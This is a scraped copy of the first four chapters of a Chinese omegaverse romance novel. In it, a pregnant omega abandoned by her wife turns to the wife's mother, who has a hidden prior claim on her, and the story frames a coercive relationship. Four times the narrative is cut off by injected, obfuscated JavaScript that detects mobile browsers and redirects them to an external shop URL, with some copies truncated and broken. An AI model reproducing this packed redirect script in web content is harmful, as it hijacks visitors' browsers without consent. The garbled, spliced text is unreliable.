《被前妻姐的母亲强取豪夺了》 1. 第 1 章 初春,午后,医院。 过分整齐的陈设,到处雪白的颜色,在窗外浅薄的阳光下,而显出几分令人难受的惨白。 窗外挂着新叶的树影无声拉长,悄然落在尤昙脚边。 刚刚打印出的报告,还带着印刷机的温热。 尤昙坐在原地,神色有些茫然。 春天已经过半,气温显然算不上冷,更别提医院处处恒温,让人体得以时刻维持在一个舒适的温度。 尤昙脑海里却突然记起精密仪器冷漠地扫过她的全身,蓝色冷淡的射线,分明无感,但她却迟滞地打了个寒颤,突然有些喘不上气。 她又想起医生几秒前对她说过的话—— “恭喜,尤女士,您怀孕了。” 医生的声音带着由衷的喜悦,比她这个当事人还要真切。 后纪元时代,如今体外孕育技术已经臻至成熟,相关法律条文也相当完善。 有如此令人省力省心的技术,还愿意不辞辛苦,怀孕九月亲自生下孩子,这对伴侣一定是感情深厚。 尤昙却一时有些茫然,完全无法做出回应。 只剩这几个字在脑海里回响。 她怀孕了。 换作半个月前,她大概也会很开心。 毕竟她虽然并不太喜欢孩子,可妻子沈遐云对这个孩子如此期盼,浓烈的态度也感染着她,让她也不自觉得期待起来。 她还清楚地记得沈遐云提出要孩子的那天—— 妻子从身后抱住她,轻柔的吻落在她的颈侧,突然提议: “尤尤,我们生个孩子吧?” 在当下,体外孕育技术已经相当成熟,除了价格还有些昂贵,几乎没有任何缺点。 当然,这个价格对于大多数家庭来说,也是一咬牙就能负担得起的。 试想一下,不需要经历生育的艰辛,不需要额外耗费精力,只需要付出一笔不大不小的钱财,几个月后,就能得到一个健康的独属于自己的孩子。 自然孕育早已不受欢迎。 虽然,她和沈遐云是一对传统的omega和alpha伴侣。 尤昙动作顿了顿,迟疑地侧头看向身旁的妻子。 沈遐云有一双灰青色的眼睛,虹膜一圈浅淡的灰。 此刻正注视着她,等待着她的回应。 在体外孕育技术普及后,越来越多的人倾向于使用此项技术,而不是自然孕育。 以沈遐云的财力,真的想要一个属于自己的孩子,简直轻而易举,根本不需要和她商量。 但沈遐云说的是“我们”。 她精准捕捉到了沈遐云的用词。 后纪元时代。 生育并不是omega一个人的事。 omega要承担生育责任,而alpha承担养育责任。 随着omega的信息素改变,alpha会逐渐被伴侣的信息素影响,身体发生变化,调整至最适宜的状态,以便承担未来的养育工作。 更简单点说,如果她们要成功生下一个孩子,肚子一天天鼓起来的是尤昙,而乳/房里充满乳汁,要承担喂养工作的是沈遐云。 某种意义上,这也是联邦愿意花费二十年时间,大力推广体外孕育技术的原因之一。 一次近乎长达一年的孕育,会将伴侣两人紧紧捆绑,从时间到精力。 但并不是所有伴侣的匹配度都很高,而艰辛的生育过程,伴侣双方的矛盾会被无限放大激化。 根据联邦婚姻局调查数据,这简直是离婚高发期。 omega在孕育状态中,需要alpha的照料,需要alpha带来的安心感。 同样,alpha几乎不能长时间离开omega,否则没了omega信息素的安抚,会出现信息素紊乱,造成心理生理的双重崩溃。 受此影响,约莫三十年前起,生育意愿开始大幅下跌,新生人口数量连连走低。 “可是……” “我们已经结婚一年了。” 沈遐云靠过来,温柔地蹭了蹭她的鼻尖,手臂环住她的腰,手掌抚摸她的小腹,动作轻柔。 隔着睡衣衣料,仿佛已经看到了她小腹逐渐鼓起,孕育着生命的样子。 “宝贝,你难道不想要个孩子吗?” “或许会像你,也可能像我。” “当然,如果可以的话,我出于私心更希望她会像你。” 沈遐云性格冷静自持,比她大六岁,向来都是沈遐云包容她。 她哪里见过如此妻子满含期待的模样。 “但不管怎样,只要是我们的孩子,我都会喜欢。” “只属于我们的孩子。” “我们”两字,被咬得格外重,也格外动听。 那双灰青色的眼睛,在昏暗的光下,反而更接近一种深切的奇异的灰黑。 也格外专注,仿佛眼里只能看到她。 哪怕尤昙并不是沈遐云的学生,也很早就听过沈遐云的名声。 性格温柔,如沐春风,被学生私下里连续几年评为学院里最受欢迎的老师。 更重要的是,专业能力极强,不然也不可能二十七岁的年纪已经成了副教授。 主导的新型抑制剂研发项目也是风生水起,短短两年成果频出。 两人在一起后,尤昙有时会等待她下课后一起回家。 她不止一次见过沈遐云被围住问问题的场景。 众星拱月般,不少学生用着崇拜、仰慕的目光看着她。 而这时一向好脾气的沈遐云却会露出一个无奈的笑,委婉地拒绝:“抱歉,我的伴侣在等我回家。” 尤昙被吻得晕乎乎,手指勾住她的一缕头发。 波浪般的青棕色长发擦过她的掌心。 温热的唇瓣游移,齿间衔咬住一点柔软皮肉,试探着轻轻磨蹭,只差一点,尖利的齿尖刺入她后颈的腺体。 沈遐云却停下,轻声恳求:“老婆,答应我吧。” …… “您的伴侣呢?” 尤昙猛地回过神来。 医生看向眼前的女孩,二十岁出头的年纪,瞳色清透,神情有些恍惚,似乎还没从这个好消息中反应过来。 “别担心,正常作息就好。” “孕期信息素会有大幅度波动,这个时候尽量还是要伴侣陪伴在身边。” 医生丝毫没有怀疑为什么尤昙独自前来做检查,只是按照规定,态度亲和地叮嘱尤昙怀孕时期的注意事项。 “还有下次检查记得带上伴侣,来一并做检查。” 医生最后停顿了一下,又笑着对她说了句:“恭喜啊。” “……”尤昙拿着检查报告起身,愣了愣,没有做出反应。 离开诊室。 走廊悬挂的屏幕里新闻主播语气平稳,吐字清晰,播报时下最热门的新闻—— “目前,最后一批西岸科技生产的抑制剂已下架,至此,联邦境内所有违规抑制剂都已在有关部门监督下下架。” “接下来,我们回顾此次事件全过程……” “西岸科技的抑制剂,你最近没用过了吧?” “之前风那么大,正准备买呢。” “真幸运,我家里囤了不少,还不知道怎么解决,唉烦死了。” 这是近些天整个联邦热议的话题。 西岸科技,新型抑制剂。 西岸科技是近两年风头正盛的一家生物公司。 其名下的工作室研发的新型抑制剂,比起普通抑制剂无痛、无副作用、效果持久。 但半个月前,一名alpha在人群密集处突然释放信息素无差别攻击,差点造成大规模信息素暴动。 在被抓获后,那名alpha声称自己已经事先注射了西岸科技生产的抑制剂,她也不知道为什么会失控。 这次事故像是一个导火索,突然引发了对于西岸科技的声讨。 被媒体大肆报道,一夜之间,仿佛联邦上下全都听到了这条新闻。 传播速度快得不可思议。 原本被大肆吹捧的新型抑制剂,一夜之间,变成了人人自危的炸弹。 尤昙定定地盯着屏幕,脸色逐渐惨白。 因为这个研究项目主导人就是她的妻子,沈遐云。 虽说事故只有一例,而抑制剂已经大规模投产两年之久,在此期间没有出现过任何意外,仅在这点上,就已经比以往的任何一款抑制剂表现出色了。 但消息散播得相当快,固有印象已经形成,许多人都已经深信不疑,已经有案例在先,难道不值得相信吗? 这时还有人持中立理智的态度,相信西岸科技,并列出数据进行分析。 包括尤昙。 她的专业和这个项目毫无关系,对这个项目没有任何了解,也不懂那些长篇大论的数据分析。 她只是单纯相信沈遐云,相信自己的妻子。 然后……她就得到了沈遐云卷款逃跑的消息。 沈遐云早在半个月前,就知道了项目会出事,带走名下的所有财产,和情人离开。 除了两人名下那栋房子,什么都没留下。 尤昙终于忍不住笑了一下,只是透着股苦涩,将视线从屏幕上移开。 情人。 也是这个时候,她才知道,沈遐云身边其实一直情人不断,哪怕在婚后,也没有断了联系。 公司破产,资产冻结,还有人跃跃欲试上门索赔。 甚至还有人偷溜进小区,拿着手机直播,质问她作为沈遐云的妻子居然什么都不知道吗?为什么不阻止她? 尤昙太阳穴一阵阵发胀刺痛。 这是沈遐云的工作,研究项目她从来没有参与过,况且这些都属于研究所机密,她怎么可能知道? 可在外人眼里,她和沈遐云是伴侣,被视为利益共同体。 两人在一起时,她享受到了作为沈遐云妻子的瞩目,沈遐云出事,她也理应一并受到牵连。 虽说安保来得及时,那人很快被带走了,但还是将她吓得惊魂未定。 从公司出事后,她几乎没睡一个整觉,时不时被周遭的动静惊醒。 今天睡了多久? 不知道。 大概不足三小时。 从出事后,她好像一直处在一种茫然真空的状态。 宽阔路面,车辆飞驰而过。 “你要去哪?” 等她回过神来,她已经坐上了一辆车。 尤昙睫毛动了动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483820|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,落在了手里的报告单上,报告单被她攥了一路,逐渐变皱。 她下定决心,报出了一个在心里犹豫一周的位置。 听到这个地名位置,司机透过后视镜诧异地看了她一眼,那是一个有名的富人区,随口闲聊:“找朋友?还是有亲戚住在这里啊?” 尤昙摇了摇头,想到了什么,又点了点头。 她的母亲。 更准确地说,是沈遐云的母亲住在这里。 沈遐云和母亲的感情相当冷淡,几乎不怎么交流来往。 尤昙不清楚内情,沈遐云也并不愿意和她多说。 沈遐云在别的方面对她包容听从,甚至百依百顺,唯独对于和母亲沈缎青的关系,她几乎从不主动开口。 当一个人对另一个人避而不谈,除了厌恶,或许还有难以抑制的自卑。 可惜,尤昙后来才意识到。 因此在两人交往两年,直到婚礼当天,她才终于见到了沈缎青。 第一次,也是唯一一次。 她还记得那天的场景—— 四处是装扮的鲜花,香气盈鼻。 婚礼开始前,沈遐云牵着她的手,在宴会厅前迎接宾客。 身上的婚纱裙摆有些长,虽然穿着还算舒适,但站了这么久,还是有些难受。 人潮变得稀疏的间隙,沈遐云贴心地在她酸痛的后腰处按了按:“再坚持一下。” 不加掩饰的亲密,即使这是两人的婚礼,即使两人已经交往两年,尤昙还是没法做到从容。 她脸红着想要让妻子松开。 沈遐云却不知道看到了什么,脸上的表情突然僵了一瞬,无声戒备起来。 察觉到气氛变得不同寻常,她顾不上妻子揽在自己腰间的手,下意识看去。 入目是一条剪裁得当的西装裤,微微盖住鞋面,窄韧的腰,再往上,女人衬衫袖口精准地挽上去,露出一截腕骨。 手里拿着她和沈遐云精心准备的婚礼邀请函。 大概是宾客。 尤昙松了口气,一抬头,却对上了一双的灰青色眼睛。 女人正无声看着她。 五官深邃,眉骨打下的阴影,衬得这双眼睛没什么笑意,反而像一张网,将她兜头笼罩。 她心头猛地一跳,张了张唇,却一句话都没说出来。 沈遐云还没有为她介绍来人的身份,她却已经通过长相先一步判断出来了。 和沈遐云五官如出一辙的五官。 女人的身份昭然若揭。 虽说随着科技进步,寿命提高,在人均寿命150岁的当下,四十多岁,仍然是相当年轻的年纪。 可这个女人还是年轻得过分,时间仿佛没在她脸上留下痕迹,看起来只比沈遐云大上几岁。 但尤昙第一反应却是心惊。 不只是因为女人的眼神让她莫名紧张。 还因为这对母女……太过相似了。 除了细微年龄的差距,就连信息素的味道都相似到可怕。 没有伴侣基因的稀释,通过体外孕育生下的孩子和母体相似度会更高些,甚至有时能够到达90%以上。 但相似到这种程度,还是让人愕然,甚至有些惊悚。 就好像沈遐云本身,只是对沈缎青的基因进行了一次完完全全复制的产物。 不过转眼,那种可怕的相似度烟消云散。 因为沈缎青突然对她笑了下。 眼里的冷淡消失,女人的目光在她和沈遐云紧牵的手上一掠而过。 这个笑本身有点意味不明。 但由于女人的眼神温和,衬得这个笑很和煦友好。 也正是这个笑让她和妻子沈遐云突然有了区别。 当两人的五官身形都极其相似时,两人身上的时候气质就是最大的不同。 一个人的气质由自身的眼界、阅历、认知、经历等等组成。 沈遐云气质更清冷,哪怕再冷静,偶尔也会冲动。 或许是由于更年长,沈缎青神情更温柔,给人的感觉是个很好说话的长辈,姿态也更从容和煦。 但她非但没有放松下来,反而下意识贴近身旁的妻子。 凝固的气氛被打破。 沈遐云原本紧绷脸色也突然放松下来,甚至注视着放纵着两人的对视,显得莫名高兴。 但并不仅仅由于今天是两人的婚礼,更因为尤昙对她无意识的依赖。 只是在此刻的场景下,这种愉悦根本不合时宜,更像是一种奇怪的高高在上的,只有两人心知肚明的炫耀和得意。 尤昙浑然不知,一只手被沈遐云牵着,另一只手提着婚纱裙摆,心里只有紧张。 她眼型偏圆,瞳仁清透乌润。 化妆师别出心裁给她眼皮上铺了层薄荷绿的眼影,配合她手里的这束草花,和脑后被草绿色缎带低低束起的柔顺长发,睫毛眨动间,显得格外灵动清新。 她仰头看向了女人。 很高,至少一米八以上,和沈遐云差不多。 “这是我的母亲,沈缎青。”耳边是妻子带着笑的声音,向她介绍。 她点点头,站在妻子的身侧,回握住妻子的手,犹豫着,跟随着妻子,小声开口叫了声:“……妈妈。” 2. 第 2 章 司机大概也是个alpha,车里有轻微的信息素的味道。 并不是故意散发的,后颈贴了抑制贴,但这显然有些不够,信息素的味道还是无差别逸散出了一些。 再加上车内空间狭小,因此显得存在感鲜明。 沈遐云主导研发的新型抑制剂之所以大受欢迎,正是因为效果更加持久,也能将信息素隔绝得更加彻底。 尤昙有些难受,胸口发闷,喘不上气,开窗通风。 如果沈遐云在她身边,一定会耐下心好好哄她的。 她还记得两人的婚礼誓言,沈遐云语气笃定地承诺,会照顾她,爱她一辈子。 可一转眼…… 那股难受劲又冒了出来,她将额头抵在冰凉的车窗玻璃上,张开唇小口呼气。 却又不只是身体上的难受。 她心里不由地多了一股酸痛的怨恨。 她既接受不了沈遐云毫不留恋地将她抛下,也接受不了她自以为相爱的妻子其实早已出轨。 她需要花时间消化。 要花多久呢? 她也不知道。 她太习惯性依赖沈遐云。 两人交往两年,结婚一年,很多时刻,她习惯性将自己的决定权交给妻子沈遐云。 沈遐云也乐于承担照顾她,指导她的责任。 但如今将她抛弃的就是沈遐云。 鼻腔内是若隐若现的信息素气味,车辆在移动中轻微晃动,一切都让人头昏脑胀。 尤昙闭上眼睛,却没有丝毫困意。 哪怕前一天晚上,她只睡了短短几个小时。 她应该去哪?她还能去哪? 自从小区里有人偷溜进去直播后,虽然安保处理得很迅速,加上那人大概有些经验不足,手里的直播甚至没来得及打开,但她还是不敢继续住下去了。 况且……很快也没法继续住下去了。 沈遐云名下的资产冻结,已经评估完成,马上就要拍卖,用于事故赔偿。 唯一的亲人,她的姐姐如今就职于联邦最大的生物研究所,是个普通研究员。 两个月前,两人联系过一次,姐姐主动打来电话,兴高采烈地说她有幸参与了所里的一项级别很高的研究项目,研究正在关键期,项目严格保密,可能最近会联系不上,让她不要担心。 在知道沈遐云卷款逃跑后,她就试着打过电话,没人接听。 大概是女人给她留下的印象太好,一个温柔令人安心的长辈,哪怕只有一面之缘,在陷入茫然时,她还是第一时间想到了沈缎青。 当然,这似乎也是她当下,能够求助的唯一对象。 距离目的地还有一段距离,车子停下,司机侧头看她:“里面还有一段内部路,外来车辆没法进。” 她按下思绪,看向眼前的建筑。 建筑高度并不夸张,绿植掩映,建筑外部低调,甚至有些其貌不扬,但是比起华丽张扬的外饰,更难得的是清净的环境。 这里环境静谧却不凄凉,显然是花费大量财力才能刻意营造出的氛围。 “谢谢。” 沈缎青的地址,她还是费了些功夫才找到的。 一开始,她甚至漫无目的地将沈锻青的名字输入检索框,试图找到点什么信息。 沈缎青的资料少得可怜。不过倒是有意外的收获,资料显示,沈缎青同样从事生物研究工作。 更巧合的是,她任职的这家研究所,也是姐姐工作的那家,不过更多的信息就查不到了。 好在最后,她想到了婚礼那天沈缎青似乎给过她一张名片。 灰色的名片,烫金的字体,和沈遐云常用的还有些像。 这对相似的母女居然连喜好都是相同的。 尤昙心里还小小吐槽过一句。 说实在,这张名片给得有些突兀和奇怪,哪里有在婚礼上长辈给新人递名片的? 就算这对母女的关系再差,连基本的通讯方式都没有吗? 不过迎着沈缎青温柔的目光,她还是收下了。 虽然这对母女的关系相当一般,但她还是留下了那张名片。 她想的是,不管如何,沈缎青都是两人的长辈。 没想到,最终这张名片居然时隔一年真的用上了。 她攥住手中的报告单。 在来之前,她一时冲动,真到了这里,她突然开始紧张起来。 或许也不是一时冲动,这段时间,她的精力已经被消耗殆尽。 这个孩子的出现,只是最后的导火索。 心跳有些快。 她将这种情绪的来源归咎于,她和沈缎青这个名义上的母亲并不熟悉,贸然上门,她担心自己会遭到拒绝。 忽略心头某种难以言说的异样,沈缎青是个温柔的长辈。 她安慰自己。 她看着眼前的建筑,还在犹豫应该怎样说服安保将她放行。 突然有些后悔,她或许该想办法找到沈缎青的通讯号。 但还没等她自陈身份,就已经有个佣人模样的中年女人,手里拎着满满两袋食材,似乎是刚刚从附近的超市采购的,语调热情地叫住她:“是尤昙小姐?先进来吧。” 一眼认出她,没有询问她的目的,仿佛对她的到来早有预料。 安保将两人放行。 内里宽阔,占地面积比她想象得要大得多,每栋房子间间隔相当大,有植被做天然隔断,隐私性相当好。 中年女人将她带进了其中一栋房子,给她倒了杯温水。 “坐在这里稍等一下。” “我已经发了消息,沈老师很快就回来。” 沈老师? 她对这个称呼愣了一下,还没来得及问什么。 中年女人已经提着食材离开了。 房间内重新安静下来,她只好坐下等待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483821|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温热的杯壁熨贴着掌心,她捧着那杯茶,小心扫视了一圈。 房间内大面积的灰白色块,装饰内敛到有些冷淡,和她想象得并不一样。 大概是沈缎青给她的初印象太过温和,她还以为房间内的装饰会是木制地板、小巧的吊灯、柔软的地毯……诸如此类看起来很温馨的家装,就像她和沈遐云的家一样。 完全陌生的空间,让她有些拘谨。 不过好在她没有等太久,约莫十几分钟,又或者更短。 在手里的这本温水被喝完时,她听到了高跟鞋敲打地板的声音。 大概是接到消息后急匆匆地赶了回来。 但是尤昙的注意力却并不在这里。 她突然意识到,刚才在车里闻到了那位司机逸散出的信息素,并不仅仅是抑制贴不够有效的缘故,还因为她怀孕,身体对于信息素的感知变得更为敏感。 因为在脚步声靠近前,她先闻到了女人的信息素。 和沈遐云如出一辙的信息素。 找到两个完全相同的信息素,困难程度完全不亚于找到两片完全相同的树叶。 气味清冽的信息素飘荡在她鼻尖,带着几分复古的余味,原本应该令人感到温厚。 但莫名地,她心口发紧,心率有些过速。 午后的光线柔和朦胧,那是一种如同滤镜般的场景。 她几乎像往常一样,下意识侧头看向自己身旁,随即才反应过来。 沈遐云不在。 她攥了攥膝盖上的报告单,强迫自己抬头,看向前方,对上了这双灰青色的眼睛。 嘴唇动了动,第二次叫出了那个称呼:“……妈妈。” 这个称呼对她来说,有些拗口,也很陌生。 因为她对自己的两个母亲并没有什么印象,只记得两人在她很小的时候就离婚了。 信息素匹配度越高,代表两人先天条件越合适,成为伴侣也越容易相处融洽。 虽然婚姻局早已经对匹配度高低没有什么硬性规定,但这仍然是几乎所有人的共识。 她们信息素匹配度不高,凭借对彼此的爱意结婚生子,最后却变成了一对活生生的怨偶,时常吵架,甚至大打出手。 从小到大,她和姐姐两人相依为命。 当然,用相依为命这个词似乎有些苦楚,她和姐姐感情不错,在金钱上,两个母亲也并没有亏欠她们什么,可以算得上衣食无忧。 不过,她很早就下定决心,如果她要结婚,一定要找匹配度很高的伴侣。 随着女人走近,她慌乱中下意识想要站起身。 女人的动作却比她更快。 沈缎青没有说话,抽走了她手里被攥了一路的报告单,看了一眼报告单最后一栏的检查结果。 然后,目光缓缓落在了她的小腹上。 “怀孕了?” 这句话的语调莫名有些冷淡,尤昙愣了一下。 3. 第 3 章 气氛静默了片刻。 这一刻,尤昙敏锐地感知到,沈缎青似乎对她怀孕的消息并不高兴。 并不仅仅是因为和沈遐云冷淡的母女关系,而是出于更加令她暂时揣摩不透的原因。 她僵硬地坐在原地,从她的角度,只能看到女人的衣角,大概是回来时有些着急,身上穿着件黑色风衣,包裹着修长匀称双腿,衣摆垂在腿边轻微晃动。 一年不见,沈缎青似乎仍然没有任何变化。 但很快,女人对她露出一个笑。 这对母女的长相实在太像,眉眼深邃,明明是那种十分有杀伤力的长相,冷淡的时候会让人望而却步,只要态度温和一点,就容易让人瞬间放下心中的戒备。 就像此刻。 那双灰青色的眼睛注视着她,像是一块温润的宝石。 衬得刚才的冷淡像是一种错觉。 尤昙迟疑地看着她。 沈缎青径直在她身边坐下:“我和遐云的关系不太好,坦白讲,我并不喜欢插手她的事。” “相信她的态度和我一样。” “那你有什么打算呢?要留下这个孩子吗?” 距离更近了,对于女人身上的信息素气味闻得更加真切。 尤昙原本紧绷的心情却不知为何放松了一点,取而代之的是无措。 从小到大没人用这种语气对她说过话,温和的语重心长的,用一种长辈的态度,坐在她身边,贴心地询问她的想法。 她和姐姐只相差两岁,在没有独立生活能力之前,她们生活在托管学校。 就是那种家长交上一笔钱就可以完全放手不管,一切生活起居、学习教育全都由托管学校来接手。 因为两个母亲都不乐意亲自抚养她们,对于彼此的爱意在日常生活中逐渐摩擦变成恨意,对于带着对方特征的孩子,自然也并不想见到。 托管学校还算自由,并不严格。 大多数老师只是在完成自己的工作,因为孩子很多,注定不可能像真正的家长一样事无巨细的关照教育,对她们的更多是要求听话。 如果可以,眼前的女人是真的可以做她母亲的年龄。 她只迟疑了一秒。 “还没想好。”身旁的女人就精准地点破了她的心思,“对吗?” 尤昙迟疑地点点头。 沈缎青替她做了决定:“那就先留在这里吧。” “我和遐云的关系的确不好,但不管怎样我都是遐云的母亲,你现在的身体状况也需要稳定下来。” “这也是原本遐云该承担的责任,不要有任何压力,安心留在这里。” 女人语调和煦平缓,态度却不容置疑,没有给她任何丝毫犹豫的余地,利落地帮她做了决定。 但尤昙却丝毫未觉,反而猛地安心下来,混乱无序的心情重新变得安定。 强势的态度被包裹在温柔的糖衣下,本就难以察觉。 而且很多时候,她太习惯沈遐云帮她做决定。 这半个月来,比起公司破产,她更难以接受的是沈遐云和姐姐都不在她身边。 忍受了长达半个月的惊慌失措的生活,她此刻最迫切想得到的就是这种安心感,或者说,这种略带强势的,轻微被人掌控的感觉。 沈缎青恰到好处地给她了。 她下意识抿了下唇,觉得自己应该说些感谢的话,面对女人展现出的好意,总之要说些什么,但还没等她开口。 “尤昙。”沈缎青突然开口叫她。 沈遐云叫她尤尤、宝贝、老婆,而女人却是连名带姓地叫她。 尤昙背后窜起一道电流,啊了声,茫然抬起头看她。 沈缎青语气平稳坦诚,眼神却夹杂着几分歉疚:“我不知道会是这样,应该早点注意到的,抱歉,是不是很害怕?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483822|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这话听起来透露着明晃晃的虚假,有关新型抑制剂的事故闹得沸沸扬扬,消息传播得到处都是。 沈缎青同样从事相关行业,就算她不怎么关心新闻,也绝不可能完全不知道。 可是女人的语气诚挚,让人不自觉相信她说的就是真话。 这半个月来,所有糟糕的事情接踵而至,令人猝不及防。 她没有觉得委屈,更多只是混乱无助。 她没想到沈缎青会对她说这些,鼻尖突然一酸。 这段时间的慌乱恐惧突然被放大,乱七八糟的情绪涌上来。 她想摇头否认,眼泪却先流下来了。 尤昙显然也没料到自己会哭,手忙脚乱地擦眼泪。 太丢脸了。 她沉浸在自己的情绪中,丝毫没有注意,女人已经好半天没有说话。 气氛重新安静下来。 沈缎青注视着她。 尤昙有一头黑色长发,很纯粹干净的黑色,柔软地垂落在肩头。 和三年前相比,女孩外貌成熟了些,但仍然很单纯,被照顾得很好。 但还是很爱哭。 一如当初,昏暗车内,她红着脸在她怀里啜泣,动作青涩,对自己身体反应感到惊慌,只会凭借本能,发着抖恳求:“老师,标记我。” 可真的等她咬住她的腺体时,哭着命令她:“疼,你要轻点。” 可怜的小家伙。 三年过去,真是一点没变。 沈缎青捧着她的脸,眼睛里的笑悄然消失,目光冷静地将她包裹,注视着手掌下这张潮湿可怜的脸庞,语气却仍然温柔,像个不肯惊动猎物的猎手。 指腹掠过她润湿的睫毛,帮她擦掉眼泪,用手臂将她揽进怀里。 “别哭了,孩子。” 熟悉的信息素悄然将她包围。 她哭得更凶,却不自觉地埋进了女人怀里。 4. 第 4 章 尤昙也不知道自己哭了多久,只是本能地埋在女人带着香味的怀里。 当感官被最重要的情绪占据,是无暇顾及其他的。 直到情绪被彻底发泄,她回过神来,才意识到自己的动作有些过分了。 她几乎以一种极不体面的姿势蜷进了沈缎青怀里,而沈缎青带着笑意无奈地抱着她。 对上目光。 沈缎青摸摸她的头:“好了,松开我吧。” 她讪讪地抬起头,不好意思地松开抱着女人腰肢的手臂。 “我让人帮你准备好了房间。”沈缎青站起身,示意她和自己一起上楼。 房间并不多,当然,沈缎青是独居,也并不需要这么多房间。 “当然,以你的身体状况,住在楼下更方便。但楼下暂时整理不出合适的房间,如果你要留下这个孩子,我再叫人来提前整理。” 尤昙应答了一声,注意力却落在了女人的胸口。 衬衫胸口处多了一片水渍,是她刚才蹭上去的眼泪,衬衫因水渍变得轻薄,显出若隐若现的弧度。 可是沈缎青仿佛毫无察觉。 尤昙只好频繁侧头去看,试图委婉提醒。 不知道沈缎青什么时候吩咐人去整理的,房间已经收拾妥当,空气洁净清新,桌上插着一束花,和整栋房子的内饰风格一致,但淡色阳光从窗外斜照进来,将整个房间渲染得温暖。 “旁边就是我的房间。” “如果有什么状况可以来打扰我。” 沈缎青回头,见尤昙还直勾勾地盯着她,笑了下,有些疑惑。 尤昙移开目光,支支吾吾:“您的衣服。” 沈缎青垂眸看了眼,露出了个恍然的表情,勾唇:“谢谢。” “好了,累了这么久,去好好睡一觉吧。” 尤昙没想到会这么顺利,周遭一切都很平静安心,她躺下,闭上眼睛。 沈缎青离开了,但残留的清冽的香味,仍然在她鼻尖浮动,悄然入侵她的嗅觉。 仿佛她还抱着沈缎青,蜷缩在她怀里。 这味道过于熟悉,和沈遐云的信息素太像,有那么一瞬间,或许是最近精神紧绷,让她产生了模糊的错误判断。 这天晚上,她梦到了沈遐云。 更确切地说,是她和沈遐云的初识。 她和沈遐云的相遇很突然,也很巧合。 虽然她很早就下定决心,如果她要结婚,一定要找到一个匹配度高的伴侣,但在遇到沈遐云之前,她从没有想过原来真的会遇到一个匹配度接近百分百的alpha。 那时候她刚刚成年,进入分化期。 虽然两个母亲一个是alpha,一个是omega,但姐姐是个beta,她以为自己大概也是个beta,毕竟分化为beta的概率最大。 在此之前,她只是听说过,如果alpha和omega匹配度高达95%以上,会有诱导分化,并提前进入发情期这种可能性。 但也只是听说。 哪怕联邦人口众多,遇到高匹配度的概率也极低。 如果想要高匹配度伴侣,需要去婚姻局提出匹配申请,出结果后,还需要对被匹配到的一方发去信函,征求对方同意,十分耗费时间和精力。 在分化期遇见高匹配度对象,被诱导分化并进入发情期,种种条件叠加,哪怕在联邦近百年的历史上,也挑不出几例。 所以她从来没想过,如此小概率的事件真的发生了,在她身上。 —— 天气有些闷热。 姐姐提前给她打了电话,说今晚有个讲座,主讲人是领域内非常有名的大拿,手拿多项强势专利,甚至连如今已经普及的体外孕育技术,也是她一手带领研发的。 讲座名额很宝贵,下课后就不回家了,等听完讲座再回去。 姐姐问她是两人一起回去,还是她先回家。 两姐妹读的是同一所学校。 只是她刚刚入学不久,读的是三年制古地球历史专业,而姐姐读的是四年制的生物科学专业,快要毕业了。 当然,后来她才知道这也是沈遐云任职的那所学校。 讲座开始的时间有些晚,她也不放心姐姐晚上一个人回去。 按照两人平时的习惯,她准备在学校附近的一家咖啡厅等着姐姐一起回家。 好在讲座只有两个小时,随便消磨一下时间就过去了。 她在咖啡厅找了个角落的座位,准备戴上耳机看纪录片。 咖啡厅内十分安静,空气中满是咖啡的微苦焦香味。 但不知怎么地,她总觉得有股奇怪的混杂的气味隐隐飘了进来。 很难闻,甚至有些刺鼻,后颈开始有难受的酸胀。 她最近在分化期,后颈的腺体总是隐隐涨痛,她没当回事。 咖啡厅门开又关。 她突然闻到了另一股气味,很难形容,清冽的气味,后调醇厚,余韵悠长。 她鬼使神差地抬起头,在柜台前看到了一个正在等外带咖啡的女人。 女人穿了身黑色的风衣,衣摆及膝,头发整齐地束在脑后,只有脸颊旁的一缕鬈曲垂落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483823|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深邃的眉眼在日光下朦胧。 她的角度只能看到侧脸。 后颈的腺体更涨痛了。 很难说清是因为信息素还是被这个女人本身吸引,她迟迟没有挪开目光。 